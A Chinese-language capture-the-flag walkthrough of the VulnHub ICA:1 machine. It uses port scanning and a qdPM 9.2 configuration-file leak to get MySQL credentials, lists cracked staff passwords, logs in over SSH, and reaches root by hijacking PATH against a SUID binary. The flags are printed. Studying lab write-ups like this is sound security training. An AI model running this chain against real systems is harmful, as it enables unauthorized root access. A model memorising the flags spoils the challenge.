基本信息

靶机下载:https://download.vulnhub.com/ica/ica1.zip

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

提示信息:根据我们的情报网络提供的信息,ICA 正在进行一个秘密项目。我们需要找出这个项目是什么。获得访问信息后,请将其发送给我们。我们将设置一个后门程序,以便稍后访问系统。你只关注项目是什么。您可能需要经过多层安全保护。中情局完全有信心您能成功完成这项任务。祝你好运,特工!

靶机:192.168.20.0/24

目标:获取2个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.148

image-20241023111302117

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.148,结果如下所示

image-20241023111445956

靶机开放了2280330633060端口,其中803306端口是我们需要特别关注的两个端口,我们首先去看看80端口,如下所示

image-20241023112611689

我们发现是qdpm 9.2版本,我们去浏览器搜索一下这个版本的框架是否存在历史漏洞

8aeafac12b53e09aa0ced368a0c823b1

我们发现存在密码泄露的漏洞,我们访问http://192.168.20.148/core/config/databases.yml

image-20241023113048137

成功找到mysql的账号密码,我们远程连接mysql数据库即可

漏洞初探

我们使用mysql -u qdpmadmin -h 192.168.20.148 -p登录mysql服务器

image-20241023134020409

我们去qdpm数据库里面看看有没有什么信息

image-20241023134635991

image-20241023134923320

我们在staff数据库中找到了一串账户和密码,我们拿去解密,并保存在txt文件中,如下所示

user passwd
Smith X7MQkP3W29fewHdC
Lucas suRJAdGwLp8dy3rF
Travis DJceVy98W28Y7wLg
Dexter 7ZwV4qtg42cmUXGX
Meyer cqNnBWCByS2DuJSy

我么将这5个用户一个个去尝试登录ssh,我们成功登录两个ssh服务,如下所示

image-20241023140802495

image-20241023140814313

并且我们发现了第一个flag,如下所示

image-20241023140902954

ICA{Secret_Project}

同时发现了一个提示,note.txt

It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.

提示了我们要去找可执行文件,可执行文件上存在漏洞

权限提升

我们尝试进行suid提权,执行find / -perm -u=s -type f 2>/dev/null,执行结果如下所示

image-20241023142145279

其中get_access文件十分的可疑,我们试着运行该文件

image-20241023142740680

我们使用strings命令查看该文件的函数,如下所示

e196196ad64c6d58f040fd16f26e87df

这里的cat我们可以使用环境变量进行提权,具体操作如下所示

cd /tmp
echo "/bin/bash" > cat
chmod +x cat
export PATH=/tmp:$PATH
cd /opt
./get_access

执行之后可以发现成功提权

image-20241023144725515

具体原理就是我们将"/bin/bash"这个命令伪装成cat,而系统在调用cat命令的时候会从左往右调用环境变量,而我们的/tmp环境变量在写入时处于最左端,所以里面的cat会被优先调用,进而直接执行/bin/bash命令,进而拿到root权限

成功拿到root.txt

ICA{Next_Generation_Self_Renewable_Genetics}

本题到此结束

总结

  1. 浏览器进行信息收集,寻找泄露信息
  2. mysql收集系统信息
  3. 利用环境变量提权